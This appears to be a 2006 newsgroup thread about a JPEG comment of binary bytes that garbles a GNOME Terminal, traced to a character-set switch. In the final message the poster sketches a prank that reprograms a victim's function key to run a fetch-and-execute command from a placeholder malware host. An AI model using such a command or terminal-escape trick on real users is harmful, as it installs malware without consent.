Peter Pearson wrote:
> A friend emailed me an image (of a drawing of a bus, but
> I dont' think it matters) that, when I view it with xli,
> throws my gnome terminal into a mode in which spaces, boxes,
> and funny symbols appear to have been substituted for the
> familiar letters and digits. Typing "reset" appears to
> restore normalcy.
>
> The rdjpgcom utility reports that the jpeg image contains
> the following 256-character comment:
>
> \240TQ\010\001\000\000\000\016\000\000\000\000\000 \000\000
> \000\000\000\000\000\000\000\000\254\001\000\000\0 36\000
> \000\000\005\000\000\000\000\000\000\000\247\001\0 00\000
> \001\000\000\000\003\000\000\000\001\000\000\000\2 51\001
> \000\000\002\000\000\000\002\000\000\000\002\000\0 00\000
> \252\001\000\000\003\000\000\000\001\000\000\000\0 03\000
> \000\000\253\001\000\000\004\000\000\000\001\000\0 00\000
> \004\000\000\000\011\000\000\000\005\000\000\000\2 43\001
> \000\000\004\000\000\000\253\001\000\000\005\000\0 00\000
> \000\000\000\000\005\000\000\000\007\000\000\000\0 06\000
> \000\000\245\001\000\000\005\000\000\000\254\001\0 00\000
> \006\000\000\000\000\000\000\000\006\000\000\000\0 06\000
> \000\000\007\000\000\000\246\001\000\000\006\000\0 00\000
> \254\001\000\000\007\000\000\000\000\000\000\000\0 07\000
> \000\000\005\000\000\000\011\000\000\000\247\001\0 00\000
> \007\000\000\000\254\001\000\000\011\000\000\000\0 00\000
> \000\000\011\000\000\000\004\000\000\000\036\000\0 00\000
> \250\001\000\000\011\000\000\000\254\001\000\000\0 36\000
> \000\000
>
> I'm pretty sure it's the comment that affects GNOME Terminal,
> because if I redirect xli's output into temp.txt, the image
> is displayed without ill effects, but subsequently displaying
> temp.txt makes GNOME Terminal weird.
>
> Is this something malicious?
>

I'm pretty sure it's harmless. Binary data displayed in a
console/terminal will usually always cause junk to be displayed,
including beeps. I would redirect the output or find another utility
that would serve the same purpose but without the side effect.

On Fri, 17 Nov 2006 09:04:35 GMT, Some Dude wrote:
> Peter Pearson wrote:
>> A friend emailed me an image (of a drawing of a bus, but
>> I dont' think it matters) that, when I view it with xli,
>> throws my gnome terminal into a mode in which spaces, boxes,
>> and funny symbols appear to have been substituted for the
>> familiar letters and digits. Typing "reset" appears to
>> restore normalcy.
>>
>> The rdjpgcom utility reports that the jpeg image contains
>> the following 256-character comment:
>>
>> \240TQ\010\001\000\000\000\016\000\000\000\000\000 \000\000
>> \000\000\000\000\000\000\000\000\254\001\000\000\0 36\000
[snip]
>>
>> Is this something malicious?
>>
>
> I'm pretty sure it's harmless. Binary data displayed in a
> console/terminal will usually always cause junk to be displayed,
> including beeps. I would redirect the output or find another utility
> that would serve the same purpose but without the side effect.

Thanks. As it turns out, the \016 character selects an "alternate
character set" in the VT220 world, which is pretty harmless, aside
from making the screen look like chicken-scratching.

I was more concerned about mischief along the lines of the
pranks we used to play in the days when a VT220 was something
you bought, rather than emulated. I don't remember a lot of
specifics, but as a modern example, you might reprogram the
victim's function keys so that the next time he hits F6 it's
as if he typed "wget badviruses.org/trojan.exe ; ./trojan.exe".


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